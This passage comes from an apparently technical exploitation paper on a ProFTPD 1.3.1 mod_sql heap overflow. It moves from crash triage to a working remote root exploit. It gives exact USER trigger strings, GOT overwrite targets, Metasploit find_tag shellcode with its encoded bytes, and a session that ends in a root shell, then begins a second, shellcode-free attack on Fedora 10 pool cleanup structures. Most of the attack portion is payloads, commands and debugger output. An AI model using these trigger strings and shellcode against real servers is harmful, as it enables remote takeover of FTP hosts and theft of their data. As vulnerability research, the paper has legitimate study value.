ESP: 0xbfd0a360
EIP: 0x08054b7d
Not that interesting, unfortunately.
------[ 3.3.5 - 914b175392625fe75c2b16dc18bfb250 backtrace ]
# cat bt_frames.98014.0
EIP: 0x080544e0, EBP: 0xbfd0a368, free_blocks
EIP: 0x08054b30, EBP: 0xbfd0a378, clear_pool
EIP: 0x08054bd1, EBP: 0xbfd0a388, destroy_pool
EIP: 0x08074a37, EBP: 0xbfd0a438, pr_auth_getgroups
EIP: 0x08074a98, EBP: 0xbfd0a468, auth_anonymous_group
EIP: 0x08074ea7, EBP: 0xbfd0a4a8, pr_auth_get_anon_config
EIP: 0x080c5691, EBP: 0xbfd0a4d8, sql_pre_pass
EIP: 0x080718a6, EBP: 0xbfd0a4f8, call_module
EIP: 0x0804c651, EBP: 0xbfd0a5a8, _dispatch
EIP: 0x0804c9bb, EBP: 0xbfd0a5d8, pr_cmd_dispatch
EIP: 0x0804d4ee, EBP: 0xbfd0aa48, cmd_loop
EIP: 0x0804ea36, EBP: 0xbfd0ab88, fork_server
EIP: 0x0804f1cf, EBP: 0xbfd0acf8, daemon_loop
EIP: 0x080522c6, EBP: 0xbfd0ad28, standalone_main
EIP: 0x08053109, EBP: 0xbfd0aea8, main
EIP: 0xb7b1c685, EBP: 0xbfd0af18, __libc_start_main
EIP: 0x0804b841, EBP: 0x00000000, _start
# cat regs.98014.0
EAX: 0x33614132
EBX: 0x00009bd9
ECX: 0x00000002
EDX: 0x0882ea84
ESI: 0x080d4960
EDI: 0x088161e8
EBP: 0xbfd0a368
ESP: 0xbfd0a350
EIP: 0x080544e0
EAX contains a corrupted value.
Looking at it further:
This GDB was configured as "i486-linux-gnu"...
(gdb) l *0x080544e0
0x80544e0 is in free_blocks (pool.c:138).
133
134 block_freelist = blok;
135
136 /* Adjust first_avail pointers */
137
138 while (blok->h.next) {
139 chk_on_blk_list(blok, old_free_list);
140 blok->h.first_avail = (char *) (blok + 1);
141 blok = blok->h.next;
142 }
This is semi-interesting, as we can overwrite something to point to the end
of the block (the start of the allocated usable memory). However, the
blok = blok->h.next loop makes things a lot more trickier than we'd like
(finding a suitable pointer that terminates the loop without crashing,
etc.)
Moving on...
------[ 3.3.6 - b975726b4537662f3f5ddf377ea26c20 backtrace ]
# cat bt_frames.1575.0
EIP: 0x080544e0, EBP: 0xbfd0a338, free_blocks
EIP: 0x08054b30, EBP: 0xbfd0a348, clear_pool
EIP: 0x08054bd1, EBP: 0xbfd0a358, destroy_pool
EIP: 0x08074a37, EBP: 0xbfd0a408, pr_auth_getgroups
EIP: 0x08074a98, EBP: 0xbfd0a438, auth_anonymous_group
EIP: 0x08074ea7, EBP: 0xbfd0a478, pr_auth_get_anon_config
EIP: 0x080a4b5c, EBP: 0xbfd0a4d8, auth_user
EIP: 0x080718a6, EBP: 0xbfd0a4f8, call_module
EIP: 0x0804c651, EBP: 0xbfd0a5a8, _dispatch
EIP: 0x0804caba, EBP: 0xbfd0a5d8, pr_cmd_dispatch
EIP: 0x0804d4ee, EBP: 0xbfd0aa48, cmd_loop
EIP: 0x0804ea36, EBP: 0xbfd0ab88, fork_server
EIP: 0x0804f1cf, EBP: 0xbfd0acf8, daemon_loop
EIP: 0x080522c6, EBP: 0xbfd0ad28, standalone_main
EIP: 0x08053109, EBP: 0xbfd0aea8, main
EIP: 0xb7b1c685, EBP: 0xbfd0af18, __libc_start_main
EIP: 0x0804b841, EBP: 0x00000000, _start
# cat regs.1575.0
EAX: 0x33614132
EBX: 0x0882d29c
ECX: 0x00000002
EDX: 0x088398a4
ESI: 0x080d4960
EDI: 0x088161e8
EBP: 0xbfd0a338
ESP: 0xbfd0a320
EIP: 0x080544e0
This is a duplicate of the previous one..
------[ 3.3.7 - ccbbd918ad0dbc7a869184dc2eb9cc50 backtrace ]
# cat bt_frames.1081.0
EIP: 0x080544e0, EBP: 0xbfd0a318, free_blocks
EIP: 0x08054b30, EBP: 0xbfd0a328, clear_pool
EIP: 0x08054bd1, EBP: 0xbfd0a338, destroy_pool
EIP: 0x08054b0c, EBP: 0xbfd0a348, clear_pool
EIP: 0x08054bd1, EBP: 0xbfd0a358, destroy_pool
EIP: 0x08074a37, EBP: 0xbfd0a408, pr_auth_getgroups
EIP: 0x08074a98, EBP: 0xbfd0a438, auth_anonymous_group
EIP: 0x08074ea7, EBP: 0xbfd0a478, pr_auth_get_anon_config
EIP: 0x080a4b5c, EBP: 0xbfd0a4d8, auth_user
EIP: 0x080718a6, EBP: 0xbfd0a4f8, call_module
EIP: 0x0804c651, EBP: 0xbfd0a5a8, _dispatch
EIP: 0x0804caba, EBP: 0xbfd0a5d8, pr_cmd_dispatch
EIP: 0x0804d4ee, EBP: 0xbfd0aa48, cmd_loop
EIP: 0x0804ea36, EBP: 0xbfd0ab88, fork_server
EIP: 0x0804f1cf, EBP: 0xbfd0acf8, daemon_loop
EIP: 0x080522c6, EBP: 0xbfd0ad28, standalone_main
EIP: 0x08053109, EBP: 0xbfd0aea8, main
EIP: 0xb7b1c685, EBP: 0xbfd0af18, __libc_start_main
EIP: 0x0804b841, EBP: 0x00000000, _start
# cat regs.1081.0
EAX: 0x33614132
EBX: 0x0882d29c
ECX: 0x00000002
EDX: 0x08839484
ESI: 0x080d4960
EDI: 0x088161e8
EBP: 0xbfd0a318
ESP: 0xbfd0a300
EIP: 0x080544e0
Another duplicate :(
------[ 3.3.8 - f1bfd5428c97b9d68a4beb6fb8286b70 backtrace ]
# cat bt_frames.11512.0
EIP: 0xb7b7e67a, EBP: 0xbfd0a118, memset
EIP: 0x080c2520, EBP: 0xbfd0a148, _sql_make_cmd
EIP: 0x080c4344, EBP: 0xbfd0a1f8, _sql_getpasswd
EIP: 0x080c514d, EBP: 0xbfd0a2d8, _sql_getgroups
EIP: 0x080ca70e, EBP: 0xbfd0a308, cmd_getgroups
EIP: 0x080718a6, EBP: 0xbfd0a328, call_module
EIP: 0x0807339e, EBP: 0xbfd0a358, dispatch_auth
EIP: 0x0807481d, EBP: 0xbfd0a408, pr_auth_getgroups
EIP: 0x08074a98, EBP: 0xbfd0a438, auth_anonymous_group
EIP: 0x08074ea7, EBP: 0xbfd0a478, pr_auth_get_anon_config
EIP: 0x080a4b5c, EBP: 0xbfd0a4d8, auth_user
EIP: 0x080718a6, EBP: 0xbfd0a4f8, call_module
EIP: 0x0804c651, EBP: 0xbfd0a5a8, _dispatch
EIP: 0x0804caba, EBP: 0xbfd0a5d8, pr_cmd_dispatch
EIP: 0x0804d4ee, EBP: 0xbfd0aa48, cmd_loop
EIP: 0x0804ea36, EBP: 0xbfd0ab88, fork_server
EIP: 0x0804f1cf, EBP: 0xbfd0acf8, daemon_loop
EIP: 0x080522c6, EBP: 0xbfd0ad28, standalone_main
EIP: 0x08053109, EBP: 0xbfd0aea8, main
EIP: 0xb7b1c685, EBP: 0xbfd0af18, __libc_start_main
EIP: 0x0804b841, EBP: 0x00000000, _start
# cat regs.11512.0
EAX: 0x00000000
EBX: 0x0882da74
ECX: 0x00000024
EDX: 0x00000001
ESI: 0x080d4960
EDI: 0x41346141
EBP: 0xbfd0a118
ESP: 0xbfd0a0e8
EIP: 0xb7b7e67a
EDI is a pointer we control. Looking at it further:
(gdb) l *0x080c2520
0x80c2520 is in _sql_make_cmd (mod_sql.c:350).
345 register unsigned int i = 0;
346 pool *newpool = NULL;
347 cmd_rec *cmd = NULL;
348 va_list args;
349
350 newpool = make_sub_pool(p);
351 cmd = pcalloc(newpool, sizeof(cmd_rec));
352 cmd->argc = argc;
353 cmd->stash_index = -1;
354 cmd->pool = newpool;
(gdb)
355
356 cmd->argv = pcalloc(newpool, sizeof(void *) * (argc + 1));
357 cmd->tmp_pool = newpool;
358 cmd->server = main_server;
359
360 va_start(args, argc);
361
362 for (i = 0; i < argc; i++)
363 cmd->argv[i] = (void *) va_arg(args, char *);
364
(gdb)
365 va_end(args);
366
367 cmd->argv[argc] = NULL;
368
369 return cmd;
370 }
371
372 static int check_response(modret_t *mr) {
373 if (!MODRET_ISERROR(mr))
374 return 0;
Interesting, it's in the make_sub_pool() code. Looking at it further:
---
310 struct pool *make_sub_pool(struct pool *p) {
311 union block_hdr *blok;
312 pool *new_pool;
313
314 pr_alarms_block();
315
316 blok = new_block(0, FALSE);
317
318 new_pool = (pool *) blok->h.first_avail;
319 blok->h.first_avail += POOL_HDR_BYTES;
320
321 memset(new_pool, 0, sizeof(struct pool));
322 new_pool->free_first_avail = blok->h.first_avail;
323 new_pool->first = new_pool->last = blok;
324
325 if (p) {
326 new_pool->parent = p;
327 new_pool->sub_next = p->sub_pools;
328
329 if (new_pool->sub_next)
330 new_pool->sub_next->sub_prev = new_pool;
331
332 p->sub_pools = new_pool;
333 }
334
335 pr_alarms_unblock();
336
337 return new_pool;
338 }
---
So, if we got it returning an arbitrary pointer, allocations from this
pool (if within the default pool size) will overwrite memory we
control.. let's see what could be (include/dirtree.h):
---
96 typedef struct cmd_struc {
97 pool *pool;
98 server_rec *server;
99 config_rec *config;
100 pool *tmp_pool; /* Temporary pool which only exists
101 * while the cmd's handler is running
102 */
103 int argc;
104
105 char *arg; /* entire argument (excluding
command) */
106 char **argv;
107 char *group; /* Command grouping */
108
109 int class; /* The command class */
110 int stash_index; /* hack to speed up symbol hashing in
modules.c */
111 pr_table_t *notes; /* Private data for passing/retaining
between handlers */
112 } cmd_rec;
---
Hmm, so we could overwrite pointers with somewhat controllable contents
(don't forget the SELECT .. FROM .. WHERE type stuff interfering..)
------[ 3.3.9 - Summary ]
Out of the backtraces it has generated, the following look most useful (in
usefulness looking order :p):
- 11380f2c8ce44d29b93b9bc6308692ae
- f1bfd5428c97b9d68a4beb6fb8286b70
- 914b175392625fe75c2b16dc18bfb250
Considering the code path taken, the first is the most easily exploitable.
Unfortunately, we haven't got a clean EIP overwrite, and instead require
returning a suitable pointer that will trash stuff near by it... depending
on exploitation avenue, this may make things rather complicated.
--[ 3.4 - Exploitation avenues ]
So far, we've found an approach that allows us to return a pointer to be
used later on where data we control is used in conjunction with other data.
What can we do with that? There's a couple of possibilities:
- Work out how to indicate authentication has succeeded
- Should leave us with the ftpd with nobody (revertable to root)
privileges, and access to /. That'd be pretty neat ;D
- If we munge the heap too much, however, it may crash. Depending on
what's being overwritten etc, it may be unavoidable.
- Run our own shellcode
- We can revert to root with a setresuid() call.
- More anti-forensically acceptable / less effort / etc :p
------[ 3.4.1 - Shellcode approach ]
By returning a pointer that leads us to overwrite a function pointer with
our contents, we can run shellcode. All that's required is a single
address. Let's say for arguments say, we use
USER ...SHELLCODE%m%a..<POINTER TO RETURN><OVERWRITE CONTENT>
We would overwrite the function pointer with a pointer to shellcode (our
original pointer - X bytes to hit it). If we need to brute force a target
pointer to overwrite, we can probably repeat <OVERWRITE CONTENT> several
times to cover more memory than normal.
Due to space considerations, it would be best to use a find sock / recv()
tag shellcode as a stager, then sending a another payload later on.
If shellcode size is a problem, it would be possible to spray our shellcode
across the heap in the fake auth attempt, and use an egg hunter code in the
trigger auth attempt. Ideally we would have a register or stack contents to
give us an idea of where to start in case of ASLR.
There are perhaps some other techniques that may be possible on certain
configurations, such as inputting the shellcode via reverse DNS, or in the
ident lookup text. While possible, it's not entirely needed at this point
in time and wasn't explored further.
Talking about shellcode, we should look at what character restrictions
have. Obviously, \x0d, \x0a, \x00 would be problematic since FTP is a text
line based protocol. Reading further over the contrib/mod_sql_mysql.c code,
we see that we have several other restrictions, as documented in [8], which
gives us the following bad characters:
\x0d (\r), \x0a (\n), \x00, \x27 ('), \x22 ("), \x08 (\b), \x09 (\t)
\x1b (\Z), \x5c (\\), \x5f (_), \x25 (%)
(That is, assuming we are exploiting ProFTPD getting auth information from
MySQL. If it's getting information from Postgresql, then the bad character
restrictions are probably different).
All in all, those restrictions aren't too bad, and some light
experimentation implies it should be fine to use, as the following pastes
show:
---
msf payload(shell_find_tag) > generate -b
"\x00\x27\x22\x08\x0a\x0d\x09\x1B\x5c\x5f" -t c -o PrependSetresuid=true
/*
* linux/x86/shell_find_tag - 102 bytes
* http://www.metasploit.com
* Encoder: x86/fnstenv_mov
* AppendExit=false, PrependSetresuid=true, TAG=2pDv,
* PrependSetuid=false, PrependSetreuid=false
*/
unsigned char buf[] =
"\x6a\x14\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x12\x87"
"\xe9\xb7\x83\xeb\xfc\xe2\xf4\x23\x4e\xd8\x6c\xe5\x64\x59\x13"
"\xdf\x07\xd8\x6c\x41\x0e\x0f\xdd\x52\x30\xe3\xe4\x44\xd4\x60"
"\x56\x94\x7c\x8f\x48\x13\xed\x8f\xef\xdf\x07\x68\x89\x20\xf7"
"\xad\xc1\x67\x77\xb6\x3e\xe9\xed\xeb\xee\x78\xb8\xb1\x7a\x92"
"\xce\x90\x4f\x78\x8c\xb1\x2e\x40\xef\xc6\x98\x61\xef\x81\x98"
"\x70\xee\x87\x3e\xf1\xd5\xba\x3e\xf3\x4a\x69\xb7";
...
msf payload(find_tag) > use payload/linux/x86/shell/find_tag
msf payload(find_tag) > generate -b
"\x00\x27\x22\x08\x0a\x0d\x09\x1B\x5c\x5f" -t c -o PrependSetresuid=true
/*
* linux/x86/shell/find_tag - 74 bytes (stage 1)
* http://www.metasploit.com
* Encoder: x86/shikata_ga_nai
* AppendExit=false, PrependSetresuid=true, TAG=qvkV,
* PrependSetuid=false, PrependSetreuid=false
*/
unsigned char buf[] =
"\x31\xc9\xbf\xd3\xde\x9e\x99\xdb\xc9\xd9\x74\x24\xf4\x5b\xb1"
"\x0c\x83\xc3\x04\x31\x7b\x0f\x03\x7b\x0f\xe2\x26\xef\x57\xa8"
"\x13\xe7\x8b\x7b\x07\xc5\xcc\x4d\x9c\x85\x45\x4b\x48\x6a\xe1"
"\x9e\xdf\x3c\x5e\x16\x3e\x46\x9b\x4e\x3f\x46\x36\xe9\xe7\x84"
"\x46\x74\x29\x66\x31\x1c\x03\xfd\x4d\xbd\x57\x50\x52\xa4";
/*
* linux/x86/shell/find_tag - 36 bytes (stage 2)
* http://www.metasploit.com
*/
unsigned char buf[] =
"\x89\xfb\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x6a\x0b"
"\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x52\x53\x89\xe1\xcd\x80";
---
We can note down that we require 74 bytes or so for the shellcode.
If character encoding is enabled in ProFTPD (via mod_lang), this may incur
further restrictions in characters we can use, or alternatively require
decoding our payload, so that when it's encoded, it is correct. If
possible/suitable, that is :p
If the pointers we are after contain a bad character, we're in a little bit
of trouble :|
------[ 3.4.2 - Data manipulation ]
There are plenty of global variables that can be modified in ProFTPD, that
can/may be useful for data manipulation.
grep'ing the src/ directory for "authenticated" shows some interesting
code:
---
288 static void shutdown_exit(void *d1, void *d2, void *d3, void *d4) {
289 if (check_shutmsg(&shut, &deny, &disc, shutmsg, sizeof(shutmsg)) ==
1) {
290 char *user;
291 time_t now;
292 char *msg;
293 const char *serveraddress;
294 config_rec *c = NULL;
295 unsigned char *authenticated = get_param_ptr(main_server->conf,
296 "authenticated", FALSE);
297
...
388 if (c->requires_auth && cmd_auth_chk && !cmd_auth_chk(cmd))
389 return -1;
390
... (cmd_auth_chk being a .bss function pointer)
393 cmdargstr = make_arg_str(cmd->tmp_pool, cmd->argc, cmd->argv);
394
395 if (cmd_type == CMD) {
396
397 /* The client has successfully authenticated... */
398 if (session.user) {
399 char *args = strchr(cmdargstr, ' ');
400
401 pr_scoreboard_entry_update(session.pid,
402 PR_SCORE_CMD, "%s", cmd->argv[0], NULL, NULL);
403 pr_scoreboard_entry_update(session.pid,
404 PR_SCORE_CMD_ARG, "%s", args ?
405 pr_fs_decode_path(cmd->tmp_pool, (args+1)) : "", NULL,
NULL);
406
407 pr_proctitle_set("%s - %s: %s", session.user,
session.proc_prefix,
408 cmdargstr);
409
410 /* ...else the client has not yet authenticated */
411 } else {
412 pr_proctitle_set("%s:%d: %s", session.c->remote_addr ?
413 pr_netaddr_get_ipstr(session.c->remote_addr) : "?",
414 session.c->remote_port ? session.c->remote_port : 0,
cmdargstr);
415 }
416 }
---
in modules/mod_auth.c:
---
59 /* auth_cmd_chk_cb() is hooked into the main server's auth_hook
function,
60 * so that we can deny all commands until authentication is complete.
61 */
62 static int auth_cmd_chk_cb(cmd_rec *cmd) {
63 unsigned char *authenticated = get_param_ptr(cmd->server->conf,
64 "authenticated", FALSE);
65
66 if (!authenticated || *authenticated == FALSE) {
67 pr_response_send(R_530, _("Please login with USER and PASS"));
68 return FALSE;
69 }
70
71 return TRUE;
72 }
73
---
The authenticated configuration directive is set:
---
1846 c = add_config_param_set(&cmd->server->conf, "authenticated", 1,
NULL);
1847 c->argv[0] = pcalloc(c->pool, sizeof(unsigned char));
1848 *((unsigned char *) c->argv[0]) = TRUE;
---
It seems a little complicated to call due to other code around it.. but
it'd probably be possible to with a bit of effort and the stack wasn't
randomized, or maybe some other approaches. That said, the author isn't
going to spend much time looking at it. One last thought on the matter:
---
192 /* By default, enable auth checking */
193 set_auth_check(auth_cmd_chk_cb);
---
If authentication is bypassed, but setresuid() is not callable (via NX, or
whatever), then there is a slight restriction of the user id it has by
default:
# cat /proc/19840/status
Name: proftpd
State: T (tracing stop)
Tgid: 19840
Pid: 19840
PPid: 19830
TracerPid: 19846
Uid: 0 65534 0 65534
Gid: 65534 65534 65534 65534
FDSize: 32
Groups: 65534
...
CapInh: 0000000000000000
CapPrm: ffffffffffffffff
CapEff: 0000000000000000
CapBnd: ffffffffffffffff
UID/GID list in real, effective, saved, fsuid format. Without reverting
privileges, it limits what we can do. That said, it allows for a lot of
information leaking if the directory permissions aren't too strict / acl's
aren't too strict.
--[ 4 - Writing an exploit ]
Before writing an exploit, we should quickly review what we have found out
before:
- Variable substitution allows us expand past the allocated 4096 bytes
- %m/%r duplicates our input
- %a gives us our IP address
- %f gives us -
- %T gives us 0.0
- %Z gives us {UNKNOWN TAG}
- %l gives us UNKNOWN if ident checking is disabled (default).. we'll use
it even though it's not ideal (ident could be enabled, and if the box
where the exploit is ran from is running ident, it could affect the
ProFTPD heap layout more.
%a isn't all that good for a remote exploit, as the byte count can differ
(attacking from 1.2.3.4 vs 136.246.139.246. We'll try excluding that for
now, although it's useful for consuming small chunks :|
In order to exploit this vulnerability, we can re-use some of our existing
code to find the input strings needed against new targets when we can
replicate a target environment.
------[ 4.1 - Exploitation via arbitrary pointer return ]
So, let's see, what do we need to do?
- Find a suitable trigger string that allows us, say:
- 16 byte overwrite (since our offset is 12 for first_avail pointer)
- 74 bytes of shellcode. Should be plenty of space, and enough to do
interesting things with.
- Find a suitable target. For the most part, the GOT seems a good
target, though this may be reassessed later on.
- Ideally you'd want to use a libc function that will be used next.
Due to the style of attack we're using, if it uses another libc
function, we may overwrite it with crap (crap being stuff like table
entries / names / our expanded string) :(
After some experimentation, I came up with the following input strings to
trigger the vulnerability with a suitable call tree:
- USER %T%m%Z%m%T%l%m%f%l%m%lA%T%m%f%f%l%m%m%T%m%f%m%m%m%mA%m%f%f%l%m%TA%m%
m%f%l%TA%fA%l%Z%fA%T%T%l%f%l%f%f%Z%l%m%Z%f%l%T%f%Z%fAAA%Z%l%m%fA%l%m%TA%ZA%
f%lAA%f%m%Z%Z%Z%T%Z%f%m%Z%l%fA%Z
- PASS invalid
- USER AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAA%T%f%TA%Z%m%Z%mA%m%ZA%Z%l%mA%T%mA%T%m%f%ZA%m%f%m%Z%m%T%m%T%m%f%fA%ZA%
m%T%m%m%Z%T%m%Z%lA%T%l%l%T%f%Z%m%f%f%T%f%Z%l%m%TA%mAa0Aa1Aa2Aa3Aa4A
And we have a crash writing to 0x41346141 ;)
With that info in hand, we can start writing the exploit.. let's find a
target to overwrite.. From glancing over the back traces, it looks like
mysql_real_query() is a suitable target.
080e81a8 R_386_JUMP_SLOT mysql_real_query
Plugging that in, and we get:
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xb7c7a6b0 (LWP 12830)]
0x41414141 in ?? ()
(gdb) bt
#0 0x41414141 in ?? ()
#1 0x080c0ea1 in cmd_select (cmd=0x98ae7ec) at mod_sql_mysql.c:838
Well, that's good. Not entirely what I was expecting though. Looking at the
backtrace, we see it's calling time(NULL), so let's see:
080e8218 R_386_JUMP_SLOT time
4187 int sql_log(int level, const char *fmt, ...) {
4188 char buf[PR_TUNABLE_BUFFER_SIZE] = {'\0'};
4189 time_t timestamp = time(NULL);
4190 struct tm *t = NULL;
4191 va_list msg;
So, it looks like time is a better target. Updating our exploit:
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xb7c7a6b0 (LWP 12923)]
0x72657375 in ?? ()
(gdb)
That looks better (>>> "72657375".decode('hex') -> 'resu')
(gdb) x/s 0x080e8218
0x80e8218 <_GLOBAL_OFFSET_TABLE_+548>: "userid, passwd, uid, gid,
homedir, shell FROM ftpuser WHERE (userid='", 'A' <repeats 74 times>,
"0.0-0.0A{UNKNOWN TAG}", 'A' <repeats 36 times>...
Looking further
(gdb) call strlen(0x080e8218)
$1 = 4155
(gdb) x/s 0x080e8218+4155-128
0x80e91d3 <scoreboard_file+2963>:
"%Z%m%Z%mA%m%ZA%Z%l%mA%T%mA%T%m%f%ZA%m%f%m%Z%m%T%m%T%m%f%fA%ZA%m%T%m%m%Z%T%
m%Z%lA%T%l%l%T%f%Z%m%f%f%T%f%Z%l%m%TA%mAa0Aa1Aa2Aa3\030\202\016"
(gdb) x/40x 0x080e8218+4155-64
0x80e9213 <[...]_file+3027>: 0x256d2554 0x255a256d 0x256d2554 0x416c255a
0x80e9223 <[...]_file+3043>: 0x6c255425 0x54256c25 0x5a256625 0x66256d25
0x80e9233 <[...]_file+3059>: 0x54256625 0x5a256625 0x6d256c25 0x25415425
0x80e9243 <[...]_file+3075>: 0x3061416d 0x41316141 0x61413261 0x0e821833
Playing around further, we see that strlen() is called before that, so
further experimentation reveals we want to overwrite:
080e819c R_386_JUMP_SLOT strlen
(Code for this can be found in [9])
And our offset is 0x080e819c-358..
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xb7c7a6b0 (LWP 13357)]
0x41306141 in ?? ()
So, we've made it jump to another pattern in msf.. which we can replace
with a pointer to our shellcode.. which will be:
(gdb) x/s 0x080e819c
0x80e819c <_GLOBAL_OFFSET_TABLE_+424>:
"Aa0Aa1Aa2Aa36\200\016\b{UNKNOWN TAG}", 'A' <repeats 74 times>,
"%T%f%TA%Z%m%Z%mA%m%ZA%Z%l%mA%T%mA%T%m%f%ZA%m%f%m%Z%m%T%m%T%m%f%fA%ZA%m%T%m
%m%Z%T%m%Z%lA%T%l%l%T%f"...
(gdb) x/s 0x080e819c+29
0x80e81b9 <_GLOBAL_OFFSET_TABLE_+453>: 'A' <repeats 74 times>,
"%T%f%TA%Z%m%Z%mA%m%ZA%Z%l%mA%T%mA%T%m%f%ZA%m%f%m%Z%m%T%m%T%m%f%fA%ZA%m%T%m
%m%Z%T%m%Z%lA%T%l%l%T%f%Z%m%f%f%T%f%Z%l%m%TA%mAa0Aa1"...
To hit our A's.
We can now use a suitable stager findsock/execve shell... We'll use the one
we found earlier with metasploit. Verifying that we can hit our shellcode,
we see:
Program received signal SIGTRAP, Trace/breakpoint trap.
[Switching to Thread 0xb7c7a6b0 (LWP 13476)]
0x080e81ba in _GLOBAL_OFFSET_TABLE_ ()
So, now we get to validate the shellcode works as expected (code can be
found in [10])
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xb7b666b0 (LWP 13648)]
0xbf86cad0 in ?? ()
(gdb) x/10i $eip
0xbf86cad0: mov %edi,%ebx
0xbf86cad2: push $0x2
0xbf86cad4: pop %ecx
0xbf86cad5: push $0x3f
0xbf86cad7: pop %eax
0xbf86cad8: int $0x80
0xbf86cada: dec %ecx
0xbf86cadb: jns 0xbf86cad5
0xbf86cadd: push $0xb
0xbf86cadf: pop %eax
Whoops. Not so much. The stager code works by reading from the socket to
the stack, and jumping to the stack once complete. It seems that the kernel
I'm using doesn't make the stack executable even if you setarch/personality
it.
We could work around that short coming in metasploit by changing our
shellcode to read() into a different buffer, or mmap() some suitable
memory, or one of a hundred things. For now though, I'll cheat and install
the generic kernel, and try to finish off this paper :)
Installing the ubuntu -generic kernel, we see (in gdb):
---
[New process 4936]
Executing new program: /bin/dash
(no debugging symbols found)
warning: Cannot initialize thread debugging library: generic error
warning: Cannot initialize thread debugging library: generic error
(no debugging symbols found)
[New process 4936]
(no debugging symbols found)
---
# python exploitsc.py 127.0.0.1
Banner is [220 ProFTPD 1.3.1 Server (ProFTPD Default Installation)
[127.0.0.1]]
331 Password required for %T%m%Z%m%T%l%m%f%l%m%lA%T%m%f%f%l%m%m%T%m%f%m%m%m
%mA%m%f%f%l%m%TA%m%m%f%l%TA%fA%l%Z%fA%T%T%l%f%l%f%f%Z%l%m%Z%f%l%T%f%Z%fAAA%
Z%l%m%fA%l%m%TA%ZA%f%lAA%f%m%Z%Z%Z%T%Z%f%m%Z%l%fA%Z
530 Login incorrect.
*** With luck, you should have a shell ***
id
uid=0(root) gid=65534(nogroup) groups=65534(nogroup)
uname -a
Linux ubuntu 2.6.27-14-generic #1 SMP Tue Aug 18 16:25:45 UTC 2009 i686
GNU/Linux
---
Well, that demonstrates from source code to shellcode execution..
exploitation via the demonstrated avenue isn't ideal, but still pretty
decent.
------[ 4.1 - Cleanup structure crash ]
While experimenting with the auth bypass idea with one of the
3d10e2a054d8124ab4de5b588c592830 crashes, I hit a pool cleanup structure,
and decided to experiment further (with a overwrite of 44 bytes), and
exploit it without any shellcode required.
For this section, we'll target Fedora 10, and the following packages:
fbf3dccc1a396cda2d8725b4503bfc16 proftpd-1.3.1-6.fc10.i386.rpm
938fd1a965d72ef44cd4106c750a0a2d proftpd-mysql-1.3.1-6.fc10.i386.rpm
Firstly, we'll quickly review some of the protection measures
enabled/available in Fedora 10.
- Exec-shield
- Aims to prevent code execution via Code Selector limits, or via PAE.
- CS limits are not ideal.
- FORTIFY_SOURCE
- Instruments code during compiling and aims to prevent overflows via
common library functions.
- PIE binaries
- Some binaries available in Fedora 10 are compiled as a position
independant executable (PIE).
- Numerous binaries are compiled as ET_EXEC's, however, including
ProFTPD.
- SELinux
- SELinux is a kernel feature that allows mandatory access control in the
kernel. For what we're concerned about, it's aimed at restricting what
can happen post exploitation. A frequent criticism of SELinux is that
it does not protect the kernel against attack.
So, looking at the crash:
Program received signal SIGSEGV, Segmentation fault.
destroy_pool (p=0x8731eac) at pool.c:415
415 if (p->parent->sub_pools == p)
(gdb) p *p
$1 = {first = 0x61413561, last = 0x37614136, cleanups = 0x41386141,
sub_pools = 0x62413961, sub_next = 0x31624130, sub_prev = 0x0,
parent = 0x62413362, free_first_avail = 0x8002927 <Address 0x8002927
out of bounds>, tag = 0x0}
Quick glance at the source code (from the proftpd-1.3.2-rc2 release, not
the fedora release):
---
410 void destroy_pool(pool *p) {
411 if (p == NULL)
412 return;
413
414 pr_alarms_block();
415
416 if (p->parent) {
417 if (p->parent->sub_pools == p)
418 p->parent->sub_pools = p->sub_next;
419
420 if (p->sub_prev)
421 p->sub_prev->sub_next = p->sub_next;
422
423 if (p->sub_next)
424 p->sub_next->sub_prev = p->sub_prev;
425 }
426 clear_pool(p);
427 free_blocks(p->first, p->tag);
428
429 pr_alarms_unblock();
430 }
---
So, we can see that we overwrote p->parent, and thus entered the
conditional on line 416. In order to effectively bypass that section, we
need:
- p->parent to point to accessible memory (doesn't matter where, it's
unlikely to point to p)
- p->sub_prev got nulled out earlier, so it doesn't matter.
- p->sub_next to point to writable memory.
- p->cleanups to point to some memory to be the cleanup structure.
The cleanup structure looks like:
---
655 typedef struct cleanup {
656 void *data;
657 void (*plain_cleanup_cb)(void *);
658 void (*child_cleanup_cb)(void *);
659 struct cleanup *next;
660 } cleanup_t;
---
---
693 static void run_cleanups(cleanup_t *c) {
694 while (c) {
695 (*c->plain_cleanup_cb)(c->data);
696 c = c->next;
697 }
698 }
---
The benefits of run_cleanups is that we could call a bunch of different
pointers as needed.
So, all we need now is to meet our requirements earlier.. For
reading/writing memory, the BSS is fine.
For the cleanup structure, we need something that is not randomized, and
that we know the offset for. Luckily for us, ProFTPD formats its response
into the resp_buf buffer, which is on the BSS.
(gdb) p resp_buf
$5 = "Login incorrect.\000 for
%m%m%TA%ZA%f%l%fA%mAA%f%TA%f%f%l%l%m%lA%f%Z%m%m%TA%Z%ZA%T%Z%ZAAA%m%m%f%m%T%
m%f%fA%T%T%Z%l%T%m%l%f%f%f%Z%Z%l%TA%l%l%f%mAA%Z%TAA%f%m%ZAA%l%Z%Z%m%Z%lA%f%
m"...
And, it doesn't clear memory, leaving old data available for us to use as
our structure location. Our first fake auth will have a bunch of
AAAA / BBBB / CCCC we can use for replacing.
With those in mind, we can trigger the vulnerability, and see what's
available to us:
Program received signal SIGSEGV, Segmentation fault.
0x0805c82d in run_cleanups (c=0x80ed933) at pool.c:730
730 (*c->plain_cleanup_cb)(c->data);
..
(gdb) x/10i $eip
0x805c82d <run_cleanups+16>: call *0x4(%ebx)
(gdb) x/4x $ebx
0x80ed933 <resp_buf+179>: 0x42424242 0x43434343
0x44444444 0x45454545
Hm, so we need a location in memory to jump to. We control the first
argument to the function, which is useful. . Looking at the symbol
table, we see some stuff of interest:
080e44f4 R_386_JUMP_SLOT __printf_chk
080e4574 R_386_JUMP_SLOT mempcpy
080e4578 R_386_JUMP_SLOT __memcpy_chk
080e4604 R_386_JUMP_SLOT dlsym
080e46a4 R_386_JUMP_SLOT execv
